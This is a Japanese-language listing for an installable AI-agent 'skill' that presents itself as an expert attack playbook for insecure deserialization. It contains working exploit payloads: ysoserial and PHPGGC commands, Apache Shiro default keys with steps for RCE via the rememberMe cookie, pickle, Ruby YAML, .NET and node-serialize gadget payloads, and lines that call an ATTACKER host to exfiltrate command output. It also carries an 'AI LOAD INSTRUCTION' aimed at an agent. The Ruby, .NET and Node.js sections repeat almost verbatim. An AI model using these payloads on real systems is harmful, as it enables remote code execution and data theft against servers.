deserialization-insecure について
Java、PHP、Python、Ruby、.NETの安全でないデシリアライズを調査するセキュリティテスト向けスキルです。トラフィックの特徴、ガジェットチェーンの選定、安全な確認プローブ、ysoserialやPHPGGCなどのツールを扱います。
主な機能
- 01複数言語のデシリアライズ通信の特徴
- 02Javaガジェットチェーンとバージョン情報
- 03ysoserialとPHPGGCの使い方
- 04Python pickleとPHP Pharの分析
- 05安全な確認プローブと検出手順
- 06Rubyと.NETの参考情報
活用シーン
- 01リクエストやCookie内のシリアライズデータを特定
- 02対象言語と依存関係に応じたガジェットチェーンの選定
- 03URLDNSプローブによるJavaデシリアライズの確認
- 04信頼できない入力を扱うデシリアライズ処理の点検
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill deserialization-insecureインストール後、Claude Code で/deserialization-insecureを入力して読み込まれたか確認します。
同梱ファイルJAVA_GADGET_CHAINS.md
詳細
スキル:安全でないデシリアライゼーション — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:Java、PHP、Python におけるエキスパート向けデシリアライゼーション手法です。ガジェットチェーンの選定、トラフィックのフィンガープリント採取、ツールの使用(ysoserial、PHPGGC)、Shiro/WebLogic/Commons Collections の詳細、Phar デシリアライゼーション、Python pickle の悪用を扱います。基盤モデルは、シンクの発見と利用可能なガジェットチェーンの発見の違いを見落としがちです。
0. 関連するルーティング
- デシリアライゼーションが JNDI ルックアップにつながる場合は、jndi-injection(例:JDK 8u191 以降の LDAP → デシリアライゼーションによるバイパス)
- デシリアライゼーションのエンドポイントが公開管理サービス(RMI Registry、T3、AJP)の場合は、unauthorized-access-common-services
- WAF が BCEL ClassLoader または Fastjson の
@typeペイロードをブロックする場合は、ghost-bits-cast-attack — Ghost Bits は各バイトコードバイトを、下位 8 ビットが一致する Unicode 文字でラップするため、WAF がフィンガープリントを採取できないペイロードになります
詳細リファレンス
次の情報が必要な場合は、JAVA_GADGET_CHAINS.md も読み込んでください。
- Java ガジェットチェーンのバージョン互換性マトリックス(CommonsCollections 1~7、CommonsBeanutils、Spring、JDK のみ、Groovy、Hibernate、ROME、C3P0 など)
- SnakeYAML ガジェット(ScriptEngineManager/URLClassLoader)とエクスプロイト JAR の構造
- Hessian/Kryo/Avro/XStream のデシリアライゼーションパターンとトラフィックのフィンガープリント
- .NET ViewState のデシリアライゼーション(machineKey の要件、ysoserial.net による ViewState の偽造、Blacklist3r)
- Ruby の YAML.load と YAML.safe_load のバージョン固有チェーンを使ったエクスプロイト
- 検出用フィンガープリント:形式別マジックバイト一覧(Java
AC ED、.NETAAEAAD、Python pickle80 0N、PHPO:、Ruby04 08)
1. トラフィックのフィンガープリント採取 — デシリアライゼーションか?
Java シリアライズオブジェクト
| 指標 | 確認場所 |
|---|---|
16 進数の ac ed 00 05 | リクエスト/レスポンス本文、Cookie、POST パラメーター内の生のバイナリ |
Base64 の rO0AB | Cookie(rememberMe)、非表示フォームフィールド、JWT クレーム |
Content-Type: application/x-java-serialized-object | HTTP ヘッダー |
| T3/IIOP プロトコルトラフィック | WebLogic ポート(7001、7002) |
PHP シリアライズオブジェクト
| 指標 | 確認場所 |
|---|---|
O:NUMBER:"ClassName" パターン | POST 本文、Cookie、セッションファイル |
a:NUMBER:{(配列) | 同じ場所 |
phar:// URI の使用 | ユーザー制御のパスを受け付けるファイル操作 |
Python Pickle
| 指標 | 確認場所 |
|---|---|
16 進数の 80 03 または 80 04(プロトコル 3/4) | リクエスト、メッセージキュー内のバイナリデータ |
| Base64 エンコードされたバイナリデータ | API パラメーター、Cookie、Redis の値 |
ソースコード内の pickle.loads/pickle.load | コードレビュー/ホワイトボックス |
2. JAVA — ガジェットチェーンとツール
ysoserial — 主要ツール
# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2 — Spring Framework
# Groovy1 — Groovy
# Hibernate1 — Hibernate
# JBossInterceptors1 — JBoss
# Jdk7u21 — JDK 7u21 (no extra dependency)
# URLDNS — DNS-only confirmation (no RCE, works everywhere)
URLDNS — 安全な確認プローブ
URLDNS は RCE を発生させずに DNS ルックアップを実行します。被害を与えずにデシリアライゼーションを確認できます。
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
Collaborator で DNS ヒットを確認できた場合、デシリアライゼーションが確認されたことになります。その後、RCE チェーンにエスカレーションします。
Commons Collections — 古典的なチェーン
クラスパスに org.apache.commons.collections(3.x)があり、アプリケーションが信頼できないデータに対して readObject() を呼び出す場合に、この脆弱性が存在します。
チェーン内の主要クラス:InvokerTransformer → ChainedTransformer → TransformedMap → デシリアライゼーション中に Runtime.exec() を実行します。
Apache Shiro — rememberMe のデシリアライゼーション
Shiro は AES-CBC を使用して、シリアライズされた Java オブジェクトを rememberMe クッキーに暗号化して保存します。
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
攻撃の流れ:
- 検出:無効なセッションで、レスポンスに
rememberMe=deleteMeクッキーが設定されることを確認します - ysoserial ペイロードを生成します(幅広い互換性のため、CommonsCollections6 を推奨)
- 既知のキーとランダムな IV を使って AES-CBC で暗号化します
- Base64 でエンコードし、
rememberMeクッキーの値として設定します - リクエストを送信すると、サーバーが復号してデシリアライズし、RCE が発生します
DNSLog による確認(本格的な RCE の前段階):URLDNS チェーンを使用します → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → 暗号化 → クッキーを設定 → DNSLog へのアクセスを確認します。
修正後(ランダムキー):パディングオラクルからキーが漏えいする可能性があります。または、別の CVE(SHIRO-721)が存在します。
WebLogic のデシリアライゼーション
複数の攻撃経路があります:
- T3 プロトコル(ポート 7001):シリアライズされたオブジェクトを直接インジェクションします
- XMLDecoder(CVE-2017-10271):
/wls-wsat/CoordinatorPortTypeを介した XML ベースのデシリアライゼーションです - IIOP プロトコル:T3 の代替手段です
# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner
Java RMI Registry
RMI Registry(ポート 1099)は、設計上シリアライズされたオブジェクトを受け入れます:
# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter
JDK バージョンの制約
| JDK バージョン | 影響 |
|---|---|
| < 8u121 | RMI/LDAP のリモートクラス読み込みが動作します |
| 8u121-8u190 | RMI では trustURLCodebase=false になります。LDAP は引き続き動作します |
| >= 8u191 | RMI と LDAP の両方でリモートクラス読み込みがブロックされます |
| >= 8u191 のバイパス | LDAP を使用し、(リモートクラスではなく)シリアライズ済みのガジェットオブジェクトを返します |
3. PHP — unserialize と PHAR
マジックメソッドチェーン
PHP のデシリアライゼーションでは、マジックメソッドが次の順序で呼び出されます:
__wakeup() → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call() → called for inaccessible methods
攻撃:__destruct() または __wakeup() が危険な操作(ファイル書き込み、SQL クエリ、コマンド実行、SSRF)を引き起こすよう、シリアライズされたオブジェクトを細工します。
シリアライズされたオブジェクトの形式
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
phpMyAdmin の設定インジェクション(実際の事例)
phpMyAdmin の PMA_Config クラスは、source プロパティを通じて任意のファイルを読み込みます:
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
PHPGGC — PHP ガジェットチェーンジェネレーター
# List available chains:
phpggc -l
# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1
Phar のデシリアライゼーション
Phar アーカイブには、シリアライズされたメタデータが含まれています。phar:// URI に対するファイル操作を行うと、unserialize() が直接呼び出されていなくても、デシリアライゼーションが発生します。
トリガーとなる関数(一部):
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()
攻撃の流れ:
- 有効なファイルをアップロードします(例:Phar ポリグロットを含む JPEG)
- ファイル操作を発生させます:
file_exists("phar://uploads/avatar.jpg") - PHP が Phar のメタデータをデシリアライズし、ガジェットチェーンが実行されます
# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id
4. PYTHON — PICKLE
reduce メソッド
Python の pickle.loads() は、デシリアライゼーション中にオブジェクトの __reduce__() を呼び出します。このメソッドは、呼び出し可能オブジェクトと引数を返すことができます:
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()
Pickle オペコードの分析
import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
Python の一般的なデシリアライゼーションシンク
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)
防御のバイパス:RestrictedUnpickler
RestrictedUnpickler.find_class が使用されている場合でも、許可リストの範囲が広すぎないか確認します:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
safe_builtins に eval、exec、または __import__ が含まれている場合、依然として悪用可能です。
5. 検出方法
Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│ ├── Use URLDNS probe for safe confirmation
│ ├── Identify libraries (error messages, known product)
│ └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│ ├── Identify framework (Laravel, Symfony, WordPress)
│ ├── Try PHPGGC chains for that framework
│ └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│ ├── Try pickle payload with DNS callback
│ └── Check if PyYAML unsafe load is used
│
└── Not sure?
├── Try URLDNS payload (Java) — check DNS
├── Try PHP serialized test string
└── Monitor error messages for class loading failures
6. 防御に関する知識
| 言語 | 緩和策 |
|---|---|
| Java | JEP 290 デシリアライゼーションフィルターを使用します。許可するクラスを許可リストに登録します。信頼できないデータには ObjectInputStream を使用せず、代わりに JSON/Protobuf を使用します |
| PHP | ユーザー入力に対する unserialize() の使用を避け、代わりに json_decode() を使用します。ファイル操作で phar:// をブロックします |
| Python | pickle は信頼できるデータにのみ使用します。外部入力には json を使用します。PyYAML では必ず yaml.safe_load() を使用します |
7. クイックリファレンス — 主要なペイロード
# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"
# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
8. RUBY のデシリアライゼーション
Ruby Marshal
- 信頼できないデータに対する
Marshal.loadは RCE につながります - フィンガープリント:一般的なテキストヘッダーのないバイナリデータです
- さまざまな Ruby バージョン向けのガジェットチェーンが存在します
- Docker での検証:
[hex_string].pack("H*")を使った 16 進数ペイロードです
Ruby YAML(YAML.load)
YAML.load(YAML.safe_loadではありません)は任意の Ruby オブジェクトを実行します- Ruby 2.7.2 より前:
Gem::Requirementチェーン →git_set: id/git_set: sleep 600 - Ruby 2.x-3.x:
Gem::Installer→TarReader→Kernel#systemチェーン(より長く、複数ステップ) - 常に確認します:クラスのインスタンス化を確認するには、
YAML.load("--- !ruby/object:Gem::Installer\ni: x")を実行します - ペイロードのテンプレート:
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
type: :runtime
specs:
- !ruby/object:Gem::StubSpecification
loaded_from: "|id"
- 注:
YAML.safe_loadは安全です(Ruby 2.1 以降)。Psych.safe_loadも安全です
9. .NET のデシリアライズ
-
トラフィックのフィンガープリント:
- BinaryFormatter:16 進数の
AAEAAD(base64 のAAEAAAD/////) - ViewState:16 進数の
FF01、または/wプレフィックス - JSON.NET:JSON 内の
$typeプロパティ
- BinaryFormatter:16 進数の
-
BinaryFormatter(最も危険で、.NET 5 以降では非推奨):任意の型をインスタンス化します
-
XmlSerializer:コマンド実行に利用する
ObjectDataProvider+XamlReaderチェーン<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider"> <od:MethodName>Start</od:MethodName> <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters> <od:ObjectInstance xsi:type="System.Diagnostics.Process"/> </root> -
NetDataContractSerializer:BinaryFormatter と同様で、XML 内に完全な型情報を含みます
-
LosFormatter:ViewState で使用され、
ObjectStateFormatterにデシリアライズします -
JSON.NET:
$typeプロパティで型を制御できます →ObjectDataProvider+ExpandedWrapperチェーン{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}} -
ツール:
ysoserial.net— すべての .NET フォーマッター向けのペイロードを生成しますysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64 ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -
POP ガジェット:
ObjectDataProvider、ExpandedWrapper、AssemblyInstaller.set_Path
10. NODE.JS のデシリアライズ
-
node-serialize:IIFE(即時実行関数式)を使った
unserialize()- ペイロードのマーカー:
_$$ND_FUNC$$_ - 自動実行するには、末尾に
()を追加します:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"} - ペイロードのマーカー:
-
funcster:
__js_functionプロパティ →constructor.constructorでprocessにアクセスします{"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"} -
cryo:funcster と同様に、関数をサポートする JS オブジェクトをシリアライズします
RUBY のデシリアライズ
Marshal(バイナリ形式)
# Ruby's Marshal.load is equivalent to Java's ObjectInputStream
# Any class with marshal_dump/marshal_load can be a gadget
# Detection: binary data starting with \x04\x08
# Or hex: 0408
# PoC gadget (requires vulnerable class in scope):
payload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload) # triggers arbitrary code execution
YAML.load(重大 — 最も一般的な Ruby のデシリアライズ対象)
# YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects
# Ruby <= 2.7.2 — Gem::Requirement chain:
# Triggers via !ruby/object constructor
---
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
current_fetch_uri: !ruby/object:URI::Generic
path: "| id"
# Ruby 2.x–3.x — Gem::Installer chain:
# Uses Gem::Installer → Gem::StubSpecification → Kernel#system
---
!ruby/hash:Gem::Installer
i: x
!ruby/hash:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id # <-- command to execute
method_id: :resolve
# Safe alternative: YAML.safe_load (whitelist of allowed types)
ツール
elttam/ruby-deserialization— Ruby ガジェットチェーンジェネレーターfrohoff/ysoserialに着想を得て → Ruby 固有のフォークを確認します
.NET のデシリアライズ
トラフィックのフィンガープリント
| 指標 | シリアライザー |
|---|---|
16 進数の 00 01 00 00 00 / Base64 の AAEAAD | BinaryFormatter |
16 進数の FF 01 / Base64 の /w | DataContractSerializer |
__VIEWSTATE で始まる ViewState | LosFormatter / ObjectStateFormatter |
$type プロパティを含む JSON | JSON.NET(Newtonsoft)TypeNameHandling |
<ObjectDataProvider> を含む XML | XmlSerializer / NetDataContractSerializer |
BinaryFormatter / LosFormatter
# Most dangerous — arbitrary type instantiation
# Tool: ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64
# LosFormatter wraps BinaryFormatter — same gadgets work
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
XmlSerializer + ObjectDataProvider
<root>
<ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<ObjectDataProvider.MethodParameters>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
</ObjectDataProvider.MethodParameters>
<ObjectDataProvider.ObjectInstance>
<ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
<ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
<ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
</ProcessStartInfo>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</root>
TypeNameHandling を使用した JSON.NET
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
TypeNameHandling が Auto、Objects、Arrays、または All に設定されている場合は脆弱です。
ツール
pwntester/ysoserial.net— .NET の主要なデシリアライズペイロードジェネレーター- ガジェットチェーン:TypeConfuseDelegate、TextFormattingRunProperties、PSObject、ActivitySurrogateSelectorFromFile
NODE.JS のデシリアライズ
node-serialize(IIFE パターン)
// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';
// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function
// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"[email protected]"}
funcster
// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}
PHP create_function + デシリアライズの組み合わせ
// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command
// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}
11. RUBY のデシリアライズ
Marshal
# Ruby's native serialization. Dangerous when deserializing untrusted data.
# Detection: Binary data starting with \x04\x08
# One-liner gadget verification (hex-encoded payload):
payload = ["040802"].pack("H*") # Minimal Marshal header
Marshal.load(payload)
YAML(CVE が多い攻撃対象領域)
# YAML.load is DANGEROUS — equivalent to eval for Ruby objects
# Safe alternative: YAML.safe_load
# Ruby <= 2.7.2: Gem::Requirement chain
--- !ruby/object:Gem::Requirement
requirements:
- !ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
uri: "| id"
# Ruby 2.x-3.x: Gem::Installer chain (more complex)
# Triggers: git_set → Kernel#system
--- !ruby/object:Gem::Installer
i: x
# (Full chain available in ysoserial-ruby / blind-ruby-deserialization)
# Universal detection: supply YAML that triggers DNS callback
--- !ruby/object:Gem::Fetcher
uri: http://BURP_COLLAB/
ツール:elttam/ruby-deserialization、mbechler/ysoserial(Ruby 版)
12. .NET のデシリアライズ
フィンガープリント
| マジックバイト | 形式 |
|---|---|
AAEAAD(base64)/ 00 01 00 00 00(16 進数) | BinaryFormatter |
FF 01 または /w(base64) | ViewState(ObjectStateFormatter) |
<(XML の開始) | XmlSerializer / DataContractSerializer |
$type キーを含む JSON | JSON.NET(TypeNameHandling が有効) |
BinaryFormatter(最も危険)
# Always dangerous when deserializing untrusted data
# Tool: ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
ViewState(ASP.NET)
# If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"
# Leak machineKey from web.config (via LFI/backup) → forge ViewState
XmlSerializer + ObjectDataProvider
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ObjectDataProvider MethodName="Start">
<ObjectInstance xsi:type="Process">
<StartInfo>
<FileName>cmd.exe</FileName>
<Arguments>/c whoami</Arguments>
</StartInfo>
</ObjectInstance>
</ObjectDataProvider>
</root>
JSON.NET($type の悪用)
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System",
"StartInfo": {
"$type": "System.Diagnostics.ProcessStartInfo, System",
"FileName": "cmd.exe",
"Arguments": "/c whoami"
}
}
}
JSON のデシリアライズ設定で TypeNameHandling != None の場合は脆弱です。
ツール
pwntester/ysoserial.net— .NET の主要なガジェットチェーンジェネレーターNotSoSecure/Blacklist3r— 既知の machineKey を使って ViewState を復号/偽造します
13. NODE.JS のデシリアライズ
node-serialize (IIFE injection)
// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);
// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}
// Key: the () at the end causes immediate execution upon deserialization
funcster
// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}
PHP create_function + Deserialization Combo
// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest
// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}